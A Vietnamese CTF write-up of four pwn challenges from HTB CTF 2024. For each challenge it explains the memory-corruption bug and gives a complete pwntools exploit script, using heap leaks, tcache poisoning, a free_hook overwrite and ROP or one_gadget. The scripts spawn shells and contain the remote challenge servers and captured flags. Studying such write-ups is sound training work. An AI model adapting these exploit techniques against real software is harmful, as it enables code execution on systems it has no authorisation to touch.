# HTB CTF 2024 ## Dead or alive - Check qua cac lớp bảo vệ: ![image](https://hackmd.io/_uploads/Bkog1PnEyl.png) - Chương trình có 3 chức năng chính: tạo, xem và xóa chunk - ![image](https://hackmd.io/_uploads/BJNVyvhEyg.png)![image](https://hackmd.io/_uploads/rk-UJD3N1e.png) ![image](https://hackmd.io/_uploads/rkK8yPhVyx.png) - Chú ý ở hàm `create`, chương trình không `memset` cho chunk cũ ở trong bin ra, vì vậy nếu ta đưa chunk vào `tcache`, sau đó malloc lại chunk đó và chỉ gửi `\n` thì sẽ leak được heap (bời vì nếu ta gửi 2 byte, data sẽ bị ghi đè 2 byte cuối khiến chúng ta không leak được). Bởi vì có mã hóa nên ta cần dùng code để leak, mình lấy trên [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/decrypt_safe_linking.c) ```c def decrypt(cipher): info('start decrypt') key = 0 plain = 0 for i in range(1, 6): bits = 64 - 12 * i if bits < 0: bits = 0 plain = ((cipher ^ key) >> bits) << bits key = plain >> 12 return plain ``` - Vậy leak libc thì sao? Bời vì chương trình không cho malloc chunk lớn hơn 0x64, ta sẽ không thể đưa chunk vào `unsorted bin`. Vậy ta phải tìm hướng khác. Ở hàm `delete`, chương trình không set null cho biến `Bounties`. Ví dụ, chúng ta tạo 2 bounty, cả 2 bounty đều tạo chunk với size 0x10: ![image](https://hackmd.io/_uploads/S1MU-vhNye.png) - Free cả 2 bounty. Lúc này, bin của chúng ta sẽ giống như này: ![image](https://hackmd.io/_uploads/ryw5-v2Vye.png) - Nếu ta tạo bounty mới với size 0x20 thì chương trình sẽ lấy 2 chunk trong tcache ra để dùng lại. Nhưng cả 2 chunk này đều là chunk quản lí data của các bounty trước. Mà chương trình này xác định chunk còn sử dụng hay không ở `*((_BYTE *)v5 + 24) = 1;`. Vậy ta sẽ có quyền cho nó malloc, free, read ở bất cứ đâu. - Lúc này ta sẽ tạo 1 fake chunk với size>0x430 để free nó vào tcache. Với quyền free ở đâu tùy thích thì ta chỉ cần đưa fake chunk đi free thôi. Lưu ý ta cần tạo ở vị trí `fake_chunk+fake_size+0x8` có 1 size hợp lệ như thế này: ![image](https://hackmd.io/_uploads/B1KuEwnEye.png) - Leak heap cũng tương tự vì sau này chúng ta cần dùng để overwrite ret của hàm `create` - Đã có đầy đủ libc và stack, ta chỉ cần tạo fake chunk để ghi đè chunk đang ở trong tcache bằng cách tạo metadata ở 1 chunk. Sau đó dùng cách trên để đưa chunk này vào tcache và lấy ra sử dụng lại. Vậy là ta có quyền write ở đâu ta muốn. - Bởi vì cơ chế bảo vệ của tcache, ta phải thực hiện 1 vào phép toán: `(ptr >> 12)^addr` Với ptr là chunk hiện tại và addr là chunk ta muốn trỏ đến kế tiếp. - Với việc ghi đè địa chỉ trả về, ta chỉ cần gửi `payload=p64(rdi;ret)+p64(/bin/sh)+p64(ret)+p64(system)` là được. - Mình không hiểu tại sao nếu ta ghi đè thẳng vào `rip` lại không được nên mình ghi đè vào `rbp`: ![image](https://hackmd.io/_uploads/HkGmcDnV1g.png) - Final script: ```c #!/usr/bin/python3 from pwn import * from time import sleep exe = ELF('dead_or_alive', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sltr = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) binsh = lambda: next(libc.search(b"/bin/sh")) if args.REMOTE: p = remote('94.237.50.242',41681) else: p = process(exe.path) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' c ''') input() GDB() def c(am,size,data): sl(b'1') sla(b': ',am) sleep(0.05) sla(b': ',b'y') sla(b': ',f'{size}'.encode()) sla(b':\n',data) def v(id): sla(b'==> ',b'3') sla(b': ',id) def d(id): sla(b'==> ',b'2') sla(b': ',id) p.recvuntil(b'==>') # sleep(10) c(b'1',0x10,b'a'*0x10) c(b'1',0x10,b'a'*0x10) c(b'1',0x10,b'a'*0x10) d(b'0') d(b'1') d(b'2') c(b'1',0x10,b'') v(b'3') p.recvuntil(b'Description: ') leak=u64(p.recv(6)+b'\0\0') info(hex(leak)) def decrypt(cipher): info('start decrypt') key = 0 plain = 0 for i in range(1, 6): bits = 64 - 12 * i if bits < 0: bits = 0 plain = ((cipher ^ key) >> bits) << bits key = plain >> 12 return plain leak1 = decrypt(leak) print(f"Final plaintext: {leak1:#018x}") leak2=int(hex(leak1),16) base=(leak2>>12)<<12 info(hex(base)) c(b'1',0x10,b'a'*0x10) c(b'1',0x10,b'a'*0x10) c(b'1',0x10,b'a'*0x10)#6 c(b'1',0x10,b'a'*0x10)#7 c(b'1',0x40,p64(0)+p64(0x501)) d(b'6') d(b'7') c(b'1',0x20,p64(base+0x470)+p64(0x1)+p64(0x10)+p64(0x101)) for i in range (7): sleep(0.1) c(b'1',0x60,b'a'*0x10) c(b'1',0x40,b'a'*0x20+p64(0)+p64(0x21)) c(b'1',0x10,b'a') sleep(0.1) c(b'1',0x10,b'a') d(b'18') d(b'19') c(b'1',0x20,p64(base+0x470)+p64(0x1)+p64(0x10)+p64(0x101)) c(b'1',0x40,b'c'*0x10) c(b'1',0x10,b'c'*0x10) c(b'1',0x10,b'c'*0x10) c(b'1',0x10,b'gggggggg'+p64(0x71)) c(b'1',0x40,b'c'*0x10) d(b'21') d(b'25') c(b'1',0x10,b'c'*0x10) c(b'1',0x10,b'c'*0x10) c(b'1',0x10,b'b'*0x10)#28 d(b'6') v(b'18') p.recvuntil(b'Description: ') libc=u64(p.recv(6)+b'\0\0')-0x219ce0 info(hex(libc)) c(b'1',0x10,b'e')#29 c(b'1',0x10,b'e') sleep(0.1) d(b'29') d(b'30') c(b'1',0x20,p64(libc+0x221200)+p64(0x1)+p64(0x10)+p64(0x101)) v(b'29') p.recvuntil(b'Description: ') stack=u64(p.recv(6)+b'\0\0')-0x130 info(hex(stack)) c(b'1',0x10,b'e') c(b'1',0x10,b'e') d(b'32') d(b'33') c(b'1',0x20,p64(base+0xb10)+p64(0x1)+p64(0x10)+p64(0x101)) d(b'32') key=((base+0xb50) >> 12)^stack c(b'1',0x60,p64(0)+p64(0x31)+p64(0)*5+p64(0x51)+p64(key)) c(b'1',0x40,b'e') c(b'1',0x40,p64(0)+p64(libc+0x000000000002a3e5)+p64(0x1d8698+libc)+p64(libc+0x0000000000029cd6)+p64(libc+0x50d60)) p.interactive() ``` > HTB{cLu5t3r5_m05t_w4nt3d_h4cK3r_1f2b1a4b30205b031abc97ecbd5ad286} ## reconstruction - Chương trình cho ta nhập vào shellcode, sau đó kiểm tra xem các byte và thanh ghi có hợp lệ không: ![image](https://hackmd.io/_uploads/B1WQsD241e.png) ![image](https://hackmd.io/_uploads/ryMVoPhNyx.png) - Ta chỉ cần tạo mã assembly làm cho các thanh ghi có giá trị đúng là được. - Final script: ```c #!/usr/bin/python3 from pwn import * from time import sleep exe = ELF('reconstruction', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sltr = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) binsh = lambda: next(libc.search(b"/bin/sh")) if args.REMOTE: p = remote('94.237.54.116',58409) else: p = process(exe.path) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*check c ''') input() GDB() sla(b' "fix": ',b'fix') a=asm(''' mov r8, 0x1337c0de mov r9, 0xdeadbeef mov r10, 0xdead1337 mov r12, 0x1337cafe mov r13, 0xbeefc0de mov r14, 0x13371337 mov r15, 0x1337dead ret ''') sa(b'omponents: ',a) p.interactive() ``` > HTB{r3c0n5trucT_d3m_r3g5_2b753d7c46f55602c172d75466ffe489} ## prison break - Check qua lớp bảo vệ: ![image](https://hackmd.io/_uploads/SkWI6w3EJl.png) - Đọc ida, ta thấy chương trình có 3 chữ năng chính. Tạo 1 chunk: ![image](https://hackmd.io/_uploads/BkBdaPh4Je.png) - Free 1 chunk: ![image](https://hackmd.io/_uploads/BJ89aw2Eke.png) - View chunk: ![image](https://hackmd.io/_uploads/S1KjTD2VJe.png) - Copy paste giữa các chunk kể cả đã free: ![image](https://hackmd.io/_uploads/rypaav3Eyl.png) - Bug nằm ở hàm `copy paste`. Nó copy data giữa các chunk kể cả chúng có free hay không. Với điều này, ta chỉ cần lấy địa chỉ của libc của chunk trong unsorted bin để leak libc, sau đó lại ghi đè chunk trong tcache. Bởi vì bài này dùng libc 2.27, ta chỉ cần đưa `system` vào `free_hook` sau đó free chunk chứa chuỗi `/bin/sh` để trigger shell là được. - Final script: ```c #!/usr/bin/python3 from pwn import * from time import sleep exe = ELF('prison_break_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) # context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sltr = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) binsh = lambda: next(libc.search(b"/bin/sh")) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' c ''') input() if args.REMOTE: p = remote('94.237.59.180',44719) else: p = process(exe.path) # GDB() def c(index, s, data): sla(b'\n# ', b'1') sla(b'\n', index) sla(b'\n', f'{s}'.encode()) sa(b'\n', data) def d(index): sla(b'\n# ', b'2') sla(b'\n', index) def v(index): sla(b'\n# ', b'3') sla(b'\n', index) def cp(index1, index2): sla(b'\n# ', b'4') sla(b'\n', index1) sla(b'\n', index2) c(b'0', 0x600, b'a') c(b'1', 0x600, b'a') d(b'0') cp(b'0',b'1') v(b'1') p.recvuntil(b'entry:\n') libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - 0x3ebca0 info(hex(libc.address)) c(b'2', 0x20, b'a') c(b'3', 0x20, p64(libc.sym.__free_hook)) d(b'2') cp(b'3',b'2') c(b'4', 0x20, b'/bin/sh') c(b'5', 0x20, p64(libc.sym.system)) d(b'4') p.interactive() ``` > HTB{h4cky_pr1s0n_br34k_0f40a92d6b11d13e0f078680c6c27548} ## recruitment - Đây là một bài c++ với lỗi buffer overflow ở hàm `jouney`: ![image](https://hackmd.io/_uploads/HJuIsY3Vye.png) - Mảng `v8` chỉ được khai báo 8 byte nhưng chương trình cho ta nhập đến 47 byte. - Offset đến đại chỉ `saved rip` là `32+8=40` byte: ![image](https://hackmd.io/_uploads/H1h0iY3Vkg.png) - Điều này nghĩa là ta chỉ có thể sử dụng `one_gadget` bởi vì ta chỉ có thể overflow 7 byte. - Nếu ta nhập đúng 8 byte ở local và 24 byte ở remote thì biến age sẽ leak địa chỉ ra cho chúng ta:![image](https://hackmd.io/_uploads/HJOvTt34Jl.png) - Em đoán là do trong câu lệnh này: ` v13 = std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);` hàm sẽ in ra đến khi gặp null byte. - Đã có libc và overflow rồi thì ta chỉ cần ghi đè địa chỉ `saved rip` với `one_gadget` thôi. - Final script: ```c #!/usr/bin/python3 from pwn import * from time import sleep exe = ELF('recruitment_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sltr = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) binsh = lambda: next(libc.search(b"/bin/sh")) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x00000000004031AC c ''') input() if args.REMOTE: p = remote('83.136.250.185', 32634) else: p = process(exe.path) GDB() sla(b'$ ', b'1') sla(b': ', b'a') sla(b': ', b'a') sa(b': ', b'a'*24) p.recvuntil(b'a'*24) libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - 0x93bca info(hex(libc.address)) one = libc.address + 0x583e3 sla(b'$ ', b'3') sa(b'mission: ', b'D'*40 + p64(one)) p.interactive() ``` > HTB{R34dy_0R_n0t_w3_4r3_c0m1ng_bb43cbde226bb3222b7aed12e41958db}